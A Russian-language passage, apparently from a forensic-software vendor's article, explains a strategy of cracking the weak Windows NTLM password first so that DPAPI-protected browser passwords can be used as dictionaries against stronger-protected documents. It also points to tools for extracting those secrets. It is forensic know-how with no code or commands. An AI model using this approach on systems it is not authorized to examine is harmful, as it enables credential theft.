Обновление словаря: пароли, извлечённые из браузеров пользователя, используются в качестве целевого словаря. Составляются атаки.
Файлы и документы, найденные на диске, располагаются в очереди атак в порядке возрастания сложности атаки. В первую очередь атакуются документы с самой слабой защитой. (Пароли NTLM относятся к паролям со слабой защитой).

Стратегия приоритета NTLM идёт вразрез с другими стратегиями, в которых приоритет отдаётся атаке на файлы и документы, представляющие наибольший интерес в качестве цифровых улик. К сожалению, документы, которые представляют такую ценность, как правило, хорошо защищены, и шанс получить доступ к данным за минимальное время есть в случае, если хорошо защищённый документ отложить, занявшись в первую очередь сбором данных для последующей атаки

Дополнительная информация

О том, как получить доступ ко всем данным, защищённым DPAPI, доступно рассказывается в презентации:

DPAPI exploitation during pentest and password cracking

Более подробно об этом механизме защиты можно почитать здесь:

DPAPI — Extracting Passwords — HackTricks — Boitatech

В нашем арсенале есть продукт, при помощи которого можно извлечь защищённые DPAPI пароли к учётным записям пользователя из всех основных браузеров:

Elcomsoft Internet Password Breaker

Существует и бесплатный инструмент, посредством которого из хранилища DPAPI можно извлечь двоичные ключи шифрования:

DataProtectionDecryptor — Decrypt DPAPI (Data Protection API) data of Windows (nirsoft.net)

Заключение

Описанная в статье стратегия приоритета NTLM — одна из множества существующих стратегий, использующихся экспертами-криминалистами. На первый взгляд эта стратегия может показаться противоречащей здравому смыслу. Это не так в силу двух факторов: пароль от учётной записи Windows может открыть доступ к множеству других паролей пользователя, а защита NTLM — одна из самых слабых.

Источник